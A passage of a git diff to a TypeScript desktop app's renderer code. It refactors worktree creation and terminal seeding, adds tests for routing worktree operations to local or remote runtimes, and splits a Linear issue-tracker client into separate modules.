-          ...(preparedRequest.nameWasGenerated ? { nameWasGenerated: true } : {}),
-          ...(preparedRequest.linkedWorkItem !== undefined
-            ? { linkedWorkItem: preparedRequest.linkedWorkItem }
-            : {}),
-          ...(preparedRequest.linkedTaskSourceContext !== undefined
-            ? { linkedTaskSourceContext: preparedRequest.linkedTaskSourceContext }
-            : {}),
-          // Why: the remote host must own task-draft startup so its initial terminal is the agent, not an idle fallback shell.
-          ...(!backendStartup && preparedRequest.agent && preparedRequest.launchDraftPrompt
-            ? { startupDraft: preparedRequest.launchDraftPrompt }
-            : {}),
-          ...(provisionedRoot ? { provisionedRoot } : {})
-        }
-      )
-  } catch (error) {
-    // Why: a missing entry means the user cancelled mid-flight — abandon
-    // silently rather than surfacing an error for work they already dismissed.
-    if (!useAppStore.getState().pendingWorktreeCreations[creationId]) {
-      return
-    }
-    if (preparedRequest.ephemeralVmRuntimeId) {
-      await cleanupEphemeralVmRuntimeForFailedCreate(preparedRequest)
-    }
-    const message = getWorkspaceCreateErrorToastMessage(formatWorkspaceCreateError(error))
-    // Why: an error must stay on the same creation surface that owns the faux
-    // tab strip, rather than falling back to stale previous-workspace tabs.
-    useAppStore.getState().updatePendingWorktreeCreation(creationId, {
-      status: 'error',
-      error: message,
-      ...(preparedRequest.ephemeralVmRecipe ? { request } : {})
-    })
-    // Why: only toast when the panel isn't already showing this error (the user
-    // navigated away), so a visible failure isn't announced twice.
-    if (!isPendingCreationSurfaceVisible(creationId)) {
-      toast.error(message)
-    }
-    return
-  }
-
-  const worktree = result.worktree
-  // Why: cancellation can race a successful backend adoption; clean up again after it settles so an adopted workspace cannot outlive its destroyed VM.
-  if (!useAppStore.getState().pendingWorktreeCreations[creationId]) {
-    if (preparedRequest.ephemeralVmRuntimeId) {
-      await cleanupEphemeralVmRuntimeForFailedCreate(preparedRequest)
-    }
-    return
-  }
-  await attachEphemeralVmRuntimeToWorkspace(preparedRequest, worktree.id)
-
-  const backendSpawned = result.startupTerminal?.spawned === true
-  if (preparedRequest.startupPlan && !backendSpawned && !preparedRequest.startupPlan.launchToken) {
-    // Why: delayed delivery must target the exact pane spawned from this queued
-    // startup, so both halves of the handoff share one renderer-session token.
-    preparedRequest.startupPlan.launchToken = createBrowserUuid()
-  }
-  const startupOpt = buildWorktreeCreationStartupOpt(preparedRequest, backendSpawned)
-
-  if (worktree.path) {
-    const repoConnectionId =
-      useAppStore.getState().repos.find((repo) => repo.id === worktree.repoId)?.connectionId ?? null
-    await preflightAgentTrust(preparedRequest, worktree.path, repoConnectionId)
-  }
-
-  // `createWorktree` already inserted the real worktree row. Leaving for an app
-  // view keeps the create in the background, while selecting another workspace
-  // means the user still expects this task-launch handoff when it becomes ready;
-  // the entry guard prevents a late trust preflight from reviving a cancelled create.
-  const completionState = useAppStore.getState()
-  const shouldActivateOnCompletion =
-    completionState.pendingWorktreeCreations[creationId] !== undefined &&
-    (isPendingCreationSurfaceVisible(creationId) ||
-      (completionState.activeView === 'terminal' &&
-        completionState.activePendingCreationId === null))
-
-  let activation: ActivateAndRevealResult | false = false
-  let primaryTabId: string | null
-  if (shouldActivateOnCompletion) {
-    activation = activateAndRevealWorktree(worktree.id, {
-      sidebarRevealBehavior: 'auto',
-      ...(result.setup ? { setup: result.setup } : {}),
-      ...(result.defaultTabs ? { defaultTabs: result.defaultTabs } : {}),
-      ...(startupOpt ? { startup: startupOpt } : {}),
-      ...(preparedRequest.issueCommand ? { issueCommand: preparedRequest.issueCommand } : {}),
-      ...(backendSpawned ? { backendStartupTerminalSpawned: true } : {})
-    })
-    primaryTabId = activation === false ? null : activation.primaryTabId
-  } else {
-    // The user moved on. Seed the worktree's terminal + setup in the background
-    // (setActiveTab only writes global focus for the active worktree, so this is
-    // safe) without yanking them back to it.
-    primaryTabId = ensureWorktreeHasInitialTerminal(
-      useAppStore.getState(),
-      worktree.id,
-      startupOpt,
-      result.setup,
-      preparedRequest.issueCommand,
-      result.defaultTabs,
-      {
-        activateCreatedTabs: false,
-        ...(backendSpawned ? { backendStartupTerminalSpawned: true } : {})
-      }
-    )
-  }
-
-  // Why: clearing synchronously right after activation lets React commit the
-  // panel→terminal swap in one frame — no two-row flicker, no empty-terminal flash.
-  useAppStore.getState().removePendingWorktreeCreation(creationId, { cleanupVm: false })
-  seedAgentTabStateAfterWorktreeCreate({
-    request: preparedRequest,
-    worktreeId: worktree.id,
-    primaryTabId,
-    startupTerminalTabId: result.startupTerminal?.tabId,
-    backendSpawned
-  })
-  if (preparedRequest.startupPlan && !backendSpawned) {
-    void ensureAgentStartupInTerminal({
-      worktreeId: worktree.id,
-      primaryTabId,
-      startup: preparedRequest.startupPlan
-    })
-  }
-  if (shouldActivateOnCompletion && !preparedRequest.suppressTerminalFocusOnCompletion) {
-    queueWorkspaceActivationTerminalFocus(worktree.id, activation)
-  }
-
-  // Why: awaiting the note IPC before the swap would add a visible round-trip to
-  // the panel→terminal transition; it's cosmetic, so it runs last.
-  if (preparedRequest.note) {
-    try {
-      await useAppStore.getState().updateWorktreeMeta(worktree.id, {
-        comment: preparedRequest.note
-      })
-    } catch {
-      console.error('Failed to update worktree meta after creation')
-    }
-  }
-}
-
 /**
  * Kick off a worktree create in the background. The caller (the composer) has
  * already resolved every interactive decision into `request`, so this returns
diff --git a/src/renderer/src/lib/worktree-initial-terminal-seeding.ts b/src/renderer/src/lib/worktree-initial-terminal-seeding.ts
index 2775c5c5f68..c3d58b190ba 100644
--- a/src/renderer/src/lib/worktree-initial-terminal-seeding.ts
+++ b/src/renderer/src/lib/worktree-initial-terminal-seeding.ts
@@ -7,9 +7,8 @@ import { createSequencedSetupAgentCommands } from '../../../shared/setup-agent-s
 import { getSetupRunnerCommandPlatformForPath } from '../../../shared/setup-runner-command'
 import { agentKindToTuiAgent } from '../../../shared/agent-kind'
 import { useAppStore } from '@/store'
-import { isWebRuntimeSessionActive } from '@/runtime/web-runtime-session'
 import { queueHookCommandsForFirstWorktreeTab } from '@/lib/hook-command-delayed-delivery'
-import { getRuntimeEnvironmentIdForWorktree } from '@/lib/worktree-runtime-owner'
+import { resolveWorkspaceTerminalHostAuthority } from '@/lib/workspace-terminal-host-authority'
 import { initialAgentTabViewModeProps } from './native-chat-initial-view-mode'
 import { getConnectionId } from '@/lib/connection-context'
 import { isNativeChatTranscriptLocalReadable } from '@/lib/native-chat-transcript-readability'
@@ -71,11 +70,9 @@ export function ensureWorktreeHasInitialTerminal(
   }
 
   const backendStartupTerminalSpawned = opts?.backendStartupTerminalSpawned === true
-  // Why: explicit spawn evidence survives the new-worktree ownership race; active web sessions provide the same authority for later activations.
-  if (
-    backendStartupTerminalSpawned ||
-    isWebRuntimeSessionActive(getRuntimeEnvironmentIdForWorktree(ownerState, worktreeId))
-  ) {
+  const hostAuthority = resolveWorkspaceTerminalHostAuthority(ownerState, worktreeId)
+  // Why: explicit spawn evidence survives the new-worktree ownership race; a host that owns terminal creation provides the same authority for later activations.
+  if (backendStartupTerminalSpawned || hostAuthority === 'live') {
     const existingTerminalTabId = store.tabsByWorktree[worktreeId]?.[0]?.id
     if (existingTerminalTabId && (setup || issueCommand)) {
       queueSetupAndIssueCommands(
@@ -124,10 +121,12 @@ export function ensureWorktreeHasInitialTerminal(
   // deactivation hooks for pane moves and retirement, where re-seeding is the wanted outcome.
   const shouldHonourClosedTerminalTombstone =
     Object.hasOwn(store.tabsByWorktree, worktreeId) && opts?.reseedEmptiedWorkspace !== true
-  const shouldAutoCreate = shouldAutoCreateInitialTerminal(
-    renderableTabCount,
-    shouldHonourClosedTerminalTombstone
-  )
+  // Why: an execution host that has not answered is not a host with no terminals; seeding into that
+  // gap is what adds a tab per launch (STA-4658). Explicit launch work below is a request to create
+  // a terminal now, so it stays ungated.
+  const shouldAutoCreate =
+    hostAuthority === 'none' &&
+    shouldAutoCreateInitialTerminal(renderableTabCount, shouldHonourClosedTerminalTombstone)
   const shouldCreateForExplicitWork = renderableTabCount === 0 && hasExplicitLaunchWork
   if (!shouldAutoCreate && !shouldCreateForExplicitWork) {
     const existingTerminalTabId = store.tabsByWorktree[worktreeId]?.[0]?.id
diff --git a/src/renderer/src/lib/worktree-operation-route.test.ts b/src/renderer/src/lib/worktree-operation-route.test.ts
index 98878845e22..15e2cc11c6d 100644
--- a/src/renderer/src/lib/worktree-operation-route.test.ts
+++ b/src/renderer/src/lib/worktree-operation-route.test.ts
@@ -155,19 +155,128 @@ describe('resolveWorktreeOperationRouteResult', () => {
     expect(resolveWorktreeOperationRouteResult({}, WORKTREE_ID)).toEqual({ kind: 'missing' })
   })
 
-  it('fails a paired-client ownerless stale publication closed instead of routing it locally', () => {
+  it('routes the reported unstamped local shape with one saved runtime', () => {
     expect(
       resolveWorktreeOperationRouteResult(
         {
           repos: [{ id: 'repo-1' } as never],
-          runtimeEnvironments: [{ id: 'disconnected-hub' }],
-          worktreesByRepo: { 'repo-1': [worktree(undefined)] }
+          runtimeEnvironments: [{ id: 'saved-runtime' }],
+          runtimeEnvironmentCatalogHydrated: true,
+          settings: { activeRuntimeEnvironmentId: null } as never,
+          worktreesByRepo: { 'repo-1': [worktree(undefined)] },
+          detectedWorktreesByRepo: {
+            'repo-1': { worktrees: [worktree(undefined)] }
+          }
+        },
+        WORKTREE_ID
+      )
+    ).toEqual({
+      kind: 'resolved',
+      route: { executionHostId: 'local', runtimeEnvironmentId: null }
+    })
+  })
+
+  it('ignores the number of unrelated saved runtimes for unstamped local identity', () => {
+    expect(
+      resolveWorktreeOperationRouteResult(
+        {
+          repos: [{ id: 'repo-1' } as never],
+          runtimeEnvironments: [{ id: 'runtime-a' }, { id: 'runtime-b' }, { id: 'runtime-c' }],
+          runtimeEnvironmentCatalogHydrated: true,
+          settings: { activeRuntimeEnvironmentId: null } as never,
+          worktreesByRepo: { 'repo-1': [worktree(undefined)] },
+          detectedWorktreesByRepo: {
+            'repo-1': { worktrees: [worktree(undefined)] }
+          }
+        },
+        WORKTREE_ID
+      )
+    ).toEqual({
+      kind: 'resolved',
+      route: { executionHostId: 'local', runtimeEnvironmentId: null }
+    })
+  })
+
+  it('does not treat a repo row alone as positive local identity', () => {
+    expect(
+      resolveWorktreeOperationRouteResult(
+        {
+          repos: [{ id: 'repo-1' } as never],
+          runtimeEnvironments: [{ id: 'saved-runtime' }],
+          runtimeEnvironmentCatalogHydrated: true
         },
         WORKTREE_ID
       )
     ).toEqual({ kind: 'missing' })
   })
 
+  it('fails a paired-client ownerless stale publication closed instead of routing it locally', () => {
+    expect(
+      resolveWorktreeOperationRouteResult(
+        {
+          worktreesByRepo: { 'repo-1': [worktree(undefined)] },
+          runtimeEnvironments: [{ id: 'saved-runtime' }],
+          runtimeEnvironmentCatalogHydrated: true
+        },
+        WORKTREE_ID
+      )
+    ).toEqual({ kind: 'missing' })
+  })
+
+  it('keeps an unstamped row ambiguous when another owner names a different host', () => {
+    expect(
+      resolveWorktreeOperationRouteResult(
+        {
+          repos: [{ id: 'repo-1' } as never],
+          runtimeEnvironments: [{ id: 'saved-runtime' }],
+          runtimeEnvironmentCatalogHydrated: true,
+          worktreesByRepo: {
+            'repo-1': [worktree('local'), worktree('runtime:hub-a')]
+          }
+        },
+        WORKTREE_ID
+      )
+    ).toEqual({ kind: 'ambiguous' })
+  })
+
+  it('routes a focused runtime only when it is the single saved runtime', () => {
+    expect(
+      resolveWorktreeOperationRouteResult(
+        {
+          settings: { activeRuntimeEnvironmentId: 'hub-a' } as never,
+          runtimeEnvironments: [{ id: 'hub-a' }],
+          runtimeEnvironmentCatalogHydrated: true,
+          worktreesByRepo: { 'repo-1': [worktree(undefined)] }
+        },
+        WORKTREE_ID
+      )
+    ).toEqual({
+      kind: 'resolved',
+      route: { executionHostId: 'runtime:hub-a', runtimeEnvironmentId: 'hub-a' }
+    })
+  })
+
+  it('ignores unrelated removed-runtime tombstones for positive local identity', () => {
+    expect(
+      resolveWorktreeOperationRouteResult(
+        {
+          repos: [{ id: 'repo-1' } as never],
+          runtimeEnvironments: [{ id: 'saved-runtime' }],
+          runtimeEnvironmentCatalogHydrated: true,
+          removedRuntimeEnvironmentIds: new Set(['removed-runtime']),
+          worktreesByRepo: { 'repo-1': [worktree(undefined)] },
+          detectedWorktreesByRepo: {
+            'repo-1': { worktrees: [worktree(undefined)] }
+          }
+        },
+        WORKTREE_ID
+      )
+    ).toEqual({
+      kind: 'resolved',
+      route: { executionHostId: 'local', runtimeEnvironmentId: null }
+    })
+  })
+
   it('fails ownerless rows closed until the saved-runtime catalog is hydrated', () => {
     expect(
       resolveWorktreeOperationRouteResult(
@@ -198,6 +307,26 @@ describe('resolveWorktreeOperationRouteResult', () => {
   })
 
   it('preserves ownerless local compatibility after an empty catalog hydrates', () => {
+    expect(
+      resolveWorktreeOperationRouteResult(
+        {
+          repos: [{ id: 'repo-1' } as never],
+          runtimeEnvironments: [],
+          runtimeEnvironmentCatalogHydrated: true,
+          worktreesByRepo: { 'repo-1': [worktree(undefined)] },
+          detectedWorktreesByRepo: {
+            'repo-1': { worktrees: [worktree(undefined)] }
+          }
+        },
+        WORKTREE_ID
+      )
+    ).toEqual({
+      kind: 'resolved',
+      route: { executionHostId: 'local', runtimeEnvironmentId: null }
+    })
+  })
+
+  it('preserves ownerless local compatibility before detected scan with no saved runtimes', () => {
     expect(
       resolveWorktreeOperationRouteResult(
         {
diff --git a/src/renderer/src/lib/worktree-operation-route.ts b/src/renderer/src/lib/worktree-operation-route.ts
index d0660426175..7a56a23c4af 100644
--- a/src/renderer/src/lib/worktree-operation-route.ts
+++ b/src/renderer/src/lib/worktree-operation-route.ts
@@ -192,9 +192,10 @@ export function resolveWorktreeOperationRouteResult(
     return explicitResolution
   }
 
+  const hasDetectedWorktree = hasIndexedDetectedWorktree(state.detectedWorktreesByRepo, worktreeId)
   const hasKnownWorktree =
     resolveIndexedWorktreeOwner(state.worktreesByRepo, worktreeId).kind !== 'missing' ||
-    hasIndexedDetectedWorktree(state.detectedWorktreesByRepo, worktreeId)
+    hasDetectedWorktree
   const repoId = getRepoIdFromWorktreeId(worktreeId)
   const hasKnownRepo = state.repos?.some((repo) => repo.id === repoId) === true
   if (!hasKnownWorktree && !hasKnownRepo) {
@@ -219,10 +220,11 @@ export function resolveWorktreeOperationRouteResult(
       }
     }
   }
+  // Why: no saved runtime can publish a remote ownerless row; otherwise current detected presence affirms identity under the stamped-writer invariant.
   const mayBeLegacyLocal =
-    (savedRuntimeIds === undefined ||
-      (state.runtimeEnvironmentCatalogHydrated === true && savedRuntimeIds.length === 0)) &&
-    (state.removedRuntimeEnvironmentIds?.size ?? 0) === 0
+    savedRuntimeIds === undefined ||
+    (state.runtimeEnvironmentCatalogHydrated === true &&
+      (savedRuntimeIds.length === 0 || hasDetectedWorktree))
   return mayBeLegacyLocal
     ? { kind: 'resolved', route: { executionHostId: 'local', runtimeEnvironmentId: null } }
     : { kind: 'missing' }
diff --git a/src/renderer/src/runtime/runtime-compatibility-test-fixture.ts b/src/renderer/src/runtime/runtime-compatibility-test-fixture.ts
index ccb20944e58..6fc2cfcd027 100644
--- a/src/renderer/src/runtime/runtime-compatibility-test-fixture.ts
+++ b/src/renderer/src/runtime/runtime-compatibility-test-fixture.ts
@@ -8,6 +8,7 @@ import {
 
 export type RuntimeEnvironmentCallRequest = {
   method: string
+  params?: Record<string, unknown>
 }
 
 export function createCompatibleRuntimeStatusResponse(
diff --git a/src/renderer/src/runtime/runtime-linear-client.test.ts b/src/renderer/src/runtime/runtime-linear-client.test.ts
index 8ebdfffc55e..77e4bbbf957 100644
--- a/src/renderer/src/runtime/runtime-linear-client.test.ts
+++ b/src/renderer/src/runtime/runtime-linear-client.test.ts
@@ -1,8 +1,17 @@
 import { beforeEach, describe, expect, it, vi } from 'vitest'
+import {
+  linearListIssues,
+  linearSearchIssues,
+  linearSelectWorkspace,
+  linearStatus
+} from './runtime-linear-client'
 import {
   linearCreateIssue,
-  linearCreateProject,
   linearCreateSubIssue,
+  linearUpdateIssue
+} from './runtime-linear-issue-mutations'
+import {
+  linearCreateProject,
   linearGetCustomView,
   linearGetProject,
   linearListCustomViewIssues,
@@ -10,13 +19,8 @@ import {
   linearListCustomViews,
   linearListProjectIssues,
   linearListProjects,
-  linearListTeams,
-  linearListIssues,
-  linearSearchIssues,
-  linearSelectWorkspace,
-  linearStatus,
-  linearUpdateIssue
-} from './runtime-linear-client'
+  linearListTeams
+} from './runtime-linear-project-client'
 import {
   createCompatibleRuntimeStatusResponse,
   createCompatibleRuntimeStatusResponseIfNeeded,
diff --git a/src/renderer/src/runtime/runtime-linear-client.ts b/src/renderer/src/runtime/runtime-linear-client.ts
index d960923075e..745a4d35b3a 100644
--- a/src/renderer/src/runtime/runtime-linear-client.ts
+++ b/src/renderer/src/runtime/runtime-linear-client.ts
@@ -1,23 +1,10 @@
-/* eslint-disable max-lines -- Why: the renderer Linear client mirrors the
-   preload/RPC Linear namespace so local and remote runtime routing stays in
-   one auditable boundary. */
 import type { GlobalSettings } from '../../../shared/global-settings-types'
-import type { LinearIssueUpdate } from '../../../shared/issue-mutation-types'
-import type { LinearComment, LinearIssue } from '../../../shared/linear/issue-types'
-import type {
-  LinearCustomViewModel,
-  LinearCustomViewSummary,
-  LinearProjectDetail,
-  LinearProjectSummary
-} from '../../../shared/linear/project-types'
+import type { LinearIssue } from '../../../shared/linear/issue-types'
+import type { LinearProjectDetail } from '../../../shared/linear/project-types'
 import type {
   LinearCollectionResult,
   LinearConnectionStatus,
-  LinearLabel,
-  LinearMember,
-  LinearTeam,
   LinearViewer,
-  LinearWorkflowState,
   LinearWorkspaceSelection
 } from '../../../shared/linear/workspace-types'
 import {
@@ -71,7 +58,7 @@ export type LinearMutationResult = { ok: true } | { ok: false; error: string }
 export type LinearCommentResult = { ok: true; id: string } | { ok: false; error: string }
 export type LinearReadOptions = { force?: boolean }
 
-function linearReadForce(options?: LinearReadOptions): { force: true } | {} {
+export function linearReadForce(options?: LinearReadOptions): { force: true } | {} {
   return options?.force ? { force: true } : {}
 }
 
@@ -81,7 +68,7 @@ function isTaskSourceRuntimeSettings(
   return settings !== null && settings !== undefined && 'kind' in settings
 }
 
-function getLinearRuntimeTarget(
+export function getLinearRuntimeTarget(
   settings: RuntimeLinearSettings
 ): ReturnType<typeof getActiveRuntimeTarget> {
   // Why: task source context makes provider ownership explicit; legacy callers
@@ -251,348 +238,3 @@ export async function linearListIssues(
       : await window.api.linear.listIssues(payload)
   return normalizeLinearIssueCollectionResult(result)
 }
-
-export async function linearCreateIssue(
-  settings: RuntimeLinearSettings,
-  args: {
-    teamId: string
-    title: string
-    description?: string
-    workspaceId?: string
-    parentIssueId?: string
-    projectId?: string | null
-    stateId?: string
-    priority?: number
-    assigneeId?: string | null
-    labelIds?: string[]
-  }
-): Promise<LinearCreateIssueResult> {
-  const target = getLinearRuntimeTarget(settings)
-  return target.kind === 'environment'
-    ? callRuntimeRpc<LinearCreateIssueResult>(target, 'linear.createIssue', args, {
-        timeoutMs: 30_000
-      })
-    : window.api.linear.createIssue(args)
-}
-
-export async function linearCreateSubIssue(
-  settings: RuntimeLinearSettings,
-  args: {
-    parentIssueId: string
-    teamId: string
-    title: string
-    description?: string
-    workspaceId?: string
-    projectId?: string | null
-  }
-): Promise<LinearCreateIssueResult> {
-  return linearCreateIssue(settings, args)
-}
-
-export async function linearGetIssue(
-  settings: RuntimeLinearSettings,
-  id: string,
-  workspaceId?: string | null
-): Promise<LinearIssue | null> {
-  const target = getLinearRuntimeTarget(settings)
-  return target.kind === 'environment'
-    ? callRuntimeRpc<LinearIssue | null>(
-        target,
-        'linear.getIssue',
-        { id, workspaceId: workspaceId ?? undefined },
-        { timeoutMs: 30_000 }
-      )
-    : window.api.linear.getIssue({ id, workspaceId: workspaceId ?? undefined })
-}
-
-export async function linearUpdateIssue(
-  settings: RuntimeLinearSettings,
-  id: string,
-  updates: LinearIssueUpdate,
-  workspaceId?: string | null
-): Promise<LinearMutationResult> {
-  const target = getLinearRuntimeTarget(settings)
-  return target.kind === 'environment'
-    ? callRuntimeRpc<LinearMutationResult>(
-        target,
-        'linear.updateIssue',
-        { id, updates, workspaceId: workspaceId ?? undefined },
-        { timeoutMs: 30_000 }
-      )
-    : window.api.linear.updateIssue({ id, updates, workspaceId: workspaceId ?? undefined })
-}
-
-export async function linearAddIssueComment(
-  settings: RuntimeLinearSettings,
-  issueId: string,
-  body: string,
-  workspaceId?: string | null
-): Promise<LinearCommentResult> {
-  const target = getLinearRuntimeTarget(settings)
-  return target.kind === 'environment'
-    ? callRuntimeRpc<LinearCommentResult>(
-        target,
-        'linear.addIssueComment',
-        { issueId, body, workspaceId: workspaceId ?? undefined },
-        { timeoutMs: 30_000 }
-      )
-    : window.api.linear.addIssueComment({ issueId, body, workspaceId: workspaceId ?? undefined })
-}
-
-export async function linearIssueComments(
-  settings: RuntimeLinearSettings,
-  issueId: string,
-  workspaceId?: string | null
-): Promise<LinearComment[]> {
-  const target = getLinearRuntimeTarget(settings)
-  return target.kind === 'environment'
-    ? callRuntimeRpc<LinearComment[]>(
-        target,
-        'linear.issueComments',
-        { issueId, workspaceId: workspaceId ?? undefined },
-        { timeoutMs: 30_000 }
-      )
-    : window.api.linear.issueComments({ issueId, workspaceId: workspaceId ?? undefined })
-}
-
-export async function linearListTeams(
-  settings: RuntimeLinearSettings,
-  workspaceId?: LinearWorkspaceSelection | null
-): Promise<LinearTeam[]> {
-  const target = getLinearRuntimeTarget(settings)
-  return target.kind === 'environment'
-    ? callRuntimeRpc<LinearTeam[]>(
-        target,
-        'linear.listTeams',
-        workspaceId ? { workspaceId } : undefined,
-        { timeoutMs: 30_000 }
-      )
-    : window.api.linear.listTeams(workspaceId ? { workspaceId } : undefined)
-}
-
-export async function linearListProjects(
-  settings: RuntimeLinearSettings,
-  query?: string,
-  limit?: number,
-  workspaceId?: LinearWorkspaceSelection | null,
-  options?: LinearReadOptions
-): Promise<LinearCollectionResult<LinearProjectSummary>> {
-  if (!isRuntimeProviderSearchQueryWithinLimit(query)) {
-    return { items: [] }
-  }
-  const target = getLinearRuntimeTarget(settings)
-  return target.kind === 'environment'
-    ? callRuntimeRpc<LinearCollectionResult<LinearProjectSummary>>(
-        target,
-        'linear.listProjects',
-        { query, limit, workspaceId: workspaceId ?? undefined, ...linearReadForce(options) },
-        { timeoutMs: 30_000 }
-      )
-    : typeof window.api.linear.listProjects === 'function'
-      ? window.api.linear.listProjects({
-          query,
-          limit,
-          workspaceId: workspaceId ?? undefined,
-          ...linearReadForce(options)
-        })
-      : { items: [] }
-}
-
-export async function linearCreateProject(
-  settings: RuntimeLinearSettings,
-  args: {
-    name: string
-    description?: string
-    content?: string
-    teamIds: string[]
-    workspaceId?: string
-    leadId?: string | null
-    memberIds?: string[]
-    labelIds?: string[]
-    priority?: number
-    startDate?: string
-    targetDate?: string
-  }
-): Promise<LinearCreateProjectResult> {
-  const target = getLinearRuntimeTarget(settings)
-  return target.kind === 'environment'
-    ? callRuntimeRpc<LinearCreateProjectResult>(target, 'linear.createProject', args, {
-        timeoutMs: 30_000
-      })
-    : window.api.linear.createProject(args)
-}
-
-export async function linearGetProject(
-  settings: RuntimeLinearSettings,
-  id: string,
-  workspaceId: string,
-  options?: LinearReadOptions
-): Promise<LinearProjectDetail | null> {
-  const target = getLinearRuntimeTarget(settings)
-  return target.kind === 'environment'
-    ? callRuntimeRpc<LinearProjectDetail | null>(
-        target,
-        'linear.getProject',
-        { id, workspaceId, ...linearReadForce(options) },
-        { timeoutMs: 30_000 }
-      )
-    : window.api.linear.getProject({ id, workspaceId, ...linearReadForce(options) })
-}
-
-export async function linearListProjectIssues(
-  settings: RuntimeLinearSettings,
-  projectId: string,
-  limit: number | undefined,
-  workspaceId: string,
-  options?: LinearReadOptions
-): Promise<LinearCollectionResult<LinearIssue>> {
-  const target = getLinearRuntimeTarget(settings)
-  return target.kind === 'environment'
-    ? callRuntimeRpc<LinearCollectionResult<LinearIssue>>(
-        target,
-        'linear.listProjectIssues',
-        { projectId, limit, workspaceId, ...linearReadForce(options) },
-        { timeoutMs: 30_000 }
-      )
-    : window.api.linear.listProjectIssues({
-        projectId,
-        limit,
-        workspaceId,
-        ...linearReadForce(options)
-      })
-}
-
-export async function linearListCustomViews(
-  settings: RuntimeLinearSettings,
-  model: LinearCustomViewModel,
-  limit?: number,
-  workspaceId?: LinearWorkspaceSelection | null,
-  options?: LinearReadOptions
-): Promise<LinearCollectionResult<LinearCustomViewSummary>> {
-  const target = getLinearRuntimeTarget(settings)
-  return target.kind === 'environment'
-    ? callRuntimeRpc<LinearCollectionResult<LinearCustomViewSummary>>(
-        target,
-        'linear.listCustomViews',
-        { model, limit, workspaceId: workspaceId ?? undefined, ...linearReadForce(options) },
-        { timeoutMs: 30_000 }
-      )
-    : window.api.linear.listCustomViews({
-        model,
-        limit,
-        workspaceId: workspaceId ?? undefined,
-        ...linearReadForce(options)
-      })
-}
-
-export async function linearGetCustomView(
-  settings: RuntimeLinearSettings,
-  viewId: string,
-  model: LinearCustomViewModel,
-  workspaceId: string,
-  options?: LinearReadOptions
-): Promise<LinearCustomViewSummary | null> {
-  const target = getLinearRuntimeTarget(settings)
-  return target.kind === 'environment'
-    ? callRuntimeRpc<LinearCustomViewSummary | null>(
-        target,
-        'linear.getCustomView',
-        { viewId, model, workspaceId, ...linearReadForce(options) },
-        { timeoutMs: 30_000 }
-      )
-    : window.api.linear.getCustomView({ viewId, model, workspaceId, ...linearReadForce(options) })
-}
-
-export async function linearListCustomViewIssues(
-  settings: RuntimeLinearSettings,
-  viewId: string,
-  limit: number | undefined,
-  workspaceId: string,
-  options?: LinearReadOptions
-): Promise<LinearCollectionResult<LinearIssue>> {
-  const target = getLinearRuntimeTarget(settings)
-  return target.kind === 'environment'
-    ? callRuntimeRpc<LinearCollectionResult<LinearIssue>>(
-        target,
-        'linear.listCustomViewIssues',
-        { viewId, limit, workspaceId, ...linearReadForce(options) },
-        { timeoutMs: 30_000 }
-      )
-    : window.api.linear.listCustomViewIssues({
-        viewId,
-        limit,
-        workspaceId,
-        ...linearReadForce(options)
-      })
-}
-
-export async function linearListCustomViewProjects(
-  settings: RuntimeLinearSettings,
-  viewId: string,
-  limit: number | undefined,
-  workspaceId: string,
-  options?: LinearReadOptions
-): Promise<LinearCollectionResult<LinearProjectSummary>> {
-  const target = getLinearRuntimeTarget(settings)
-  return target.kind === 'environment'
-    ? callRuntimeRpc<LinearCollectionResult<LinearProjectSummary>>(
-        target,
-        'linear.listCustomViewProjects',
-        { viewId, limit, workspaceId, ...linearReadForce(options) },
-        { timeoutMs: 30_000 }
-      )
-    : window.api.linear.listCustomViewProjects({
-        viewId,
-        limit,
-        workspaceId,
-        ...linearReadForce(options)
-      })
-}
-
-export async function linearTeamStates(
-  settings: RuntimeLinearSettings,
-  teamId: string,
-  workspaceId?: string | null
-): Promise<LinearWorkflowState[]> {
-  const target = getLinearRuntimeTarget(settings)
-  return target.kind === 'environment'
-    ? callRuntimeRpc<LinearWorkflowState[]>(
-        target,
-        'linear.teamStates',
-        { teamId, workspaceId: workspaceId ?? undefined },
-        { timeoutMs: 30_000 }
-      )
-    : window.api.linear.teamStates({ teamId, workspaceId: workspaceId ?? undefined })
-}
-
-export async function linearTeamLabels(
-  settings: RuntimeLinearSettings,
-  teamId: string,
-  workspaceId?: string | null
-): Promise<LinearLabel[]> {
-  const target = getLinearRuntimeTarget(settings)
-  return target.kind === 'environment'
-    ? callRuntimeRpc<LinearLabel[]>(
-        target,
-        'linear.teamLabels',
-        { teamId, workspaceId: workspaceId ?? undefined },
-        { timeoutMs: 30_000 }
-      )
-    : window.api.linear.teamLabels({ teamId, workspaceId: workspaceId ?? undefined })
-}
-
-export async function linearTeamMembers(
-  settings: RuntimeLinearSettings,
-  teamId: string,
-  workspaceId?: string | null
-): Promise<LinearMember[]> {
-  const target = getLinearRuntimeTarget(settings)
-  return target.kind === 'environment'
-    ? callRuntimeRpc<LinearMember[]>(
-        target,
-        'linear.teamMembers',
-        { teamId, workspaceId: workspaceId ?? undefined },
-        { timeoutMs: 30_000 }
-      )
-    : window.api.linear.teamMembers({ teamId, workspaceId: workspaceId ?? undefined })
-}
diff --git a/src/renderer/src/runtime/runtime-linear-issue-mutations.ts b/src/renderer/src/runtime/runtime-linear-issue-mutations.ts
new file mode 100644
index 00000000000..12b197b399f
--- /dev/null
+++ b/src/renderer/src/runtime/runtime-linear-issue-mutations.ts
@@ -0,0 +1,113 @@
+import type { LinearIssueUpdate } from '../../../shared/issue-mutation-types'
+import type { LinearComment, LinearIssue } from '../../../shared/linear/issue-types'
+import { callRuntimeRpc } from './runtime-rpc-client'
+import {
+  getLinearRuntimeTarget,
+  type LinearCommentResult,
+  type LinearCreateIssueResult,
+  type LinearMutationResult,
+  type RuntimeLinearSettings
+} from './runtime-linear-client'
+
+export async function linearCreateIssue(
+  settings: RuntimeLinearSettings,
+  args: {
+    teamId: string
+    title: string
+    description?: string
+    workspaceId?: string
+    parentIssueId?: string
+    projectId?: string | null
+    stateId?: string
+    priority?: number
+    assigneeId?: string | null
+    labelIds?: string[]
+  }
+): Promise<LinearCreateIssueResult> {
+  const target = getLinearRuntimeTarget(settings)
+  return target.kind === 'environment'
+    ? callRuntimeRpc<LinearCreateIssueResult>(target, 'linear.createIssue', args, {
+        timeoutMs: 30_000
+      })
+    : window.api.linear.createIssue(args)
+}
+
+export async function linearCreateSubIssue(
+  settings: RuntimeLinearSettings,
+  args: {
+    parentIssueId: string
+    teamId: string
+    title: string
+    description?: string
+    workspaceId?: string
+    projectId?: string | null
+  }
+): Promise<LinearCreateIssueResult> {
+  return linearCreateIssue(settings, args)
+}
+
+export async function linearGetIssue(
